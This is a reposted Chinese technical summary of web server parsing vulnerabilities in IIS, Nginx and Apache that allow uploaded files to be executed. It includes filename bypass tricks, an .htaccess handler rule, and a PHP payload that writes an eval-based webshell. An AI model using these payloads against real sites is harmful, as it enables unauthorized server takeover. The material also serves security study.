[转载文章] 解析漏洞总结

来源:互联网 发布:卡祖笛 知乎 编辑:程序博客网 时间:2024/04/27 16:37
解析漏洞总结
一、IIS 6.0 解析漏洞
1.1 目录解析
/xx.asp/xx.jpg
在网站下建立文件夹的名为.asp或.asa的文件夹,其目录内的任何扩展名的文件都被IIS当作asp文件来解析并执行。假设攻击者可以控制上传文件夹路径,那么不管程序开发者是否对上传图片改名,都可以得到shell。

1.2 文件解析
haha.asp;.jpg
分号后面的不被解析,也就是说会被服务器看成是haha.asp

还有IIS6.0 默认的可执行文件除了asp还包含这三种:
/haha.asa
/haha.cer
/haha.cdx

二、IIS 7.0/IIS 7.5/ Nginx <8.03畸形解析漏洞
在默认Fast-CGI开启状况下,黑客上传一个名字为haha.jpg,内容为:
<?php fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
然后访问haha.jpg/.php,在这个目录下就会生成一句话木马shell.php

三、Nginx <8.03 空字节代码执行漏洞
影响版:0.5.,0.6., 0.7 <= 0.7.65, 0.8 <= 0.8.37
Nginx在图片中嵌入PHP代码然后通过访问xxx.jpg%00.php来执行其中的代码。

四、Apache解析漏洞
Apache是从右到左开始判断解析,如果为不可识别解析,就再往左判断。
比如wooyun.php.owf.rar ".owf"和".rar"这两种后缀是apache不可识别解析,apache就会把wooyun.php.owf.rar解析成php

五、其他
在windows环境下,xx.jpg[空格]或xx.jpg.这两类文件都是不允许存在的,若这样命名,windows会默认出去空格或点,黑客可以通过抓包,在文件名后加一个空格或者点绕过黑名单。若上传成功,空格和点就会被windows自动消除,这样也可以getshell。
如果在Apache中.htaccess可被执行.且可被上传.那可以尝试在.htaccess中写入: 
<FilesMatch "shell.jpg"> SetHandler application/x-httpd-php </FilesMatch>

然后再上传shell.jpg的木马, 这样shell.jpg就可解析为php文件。

(原文地址:http://drops.wooyun.org/papers/539)

0 0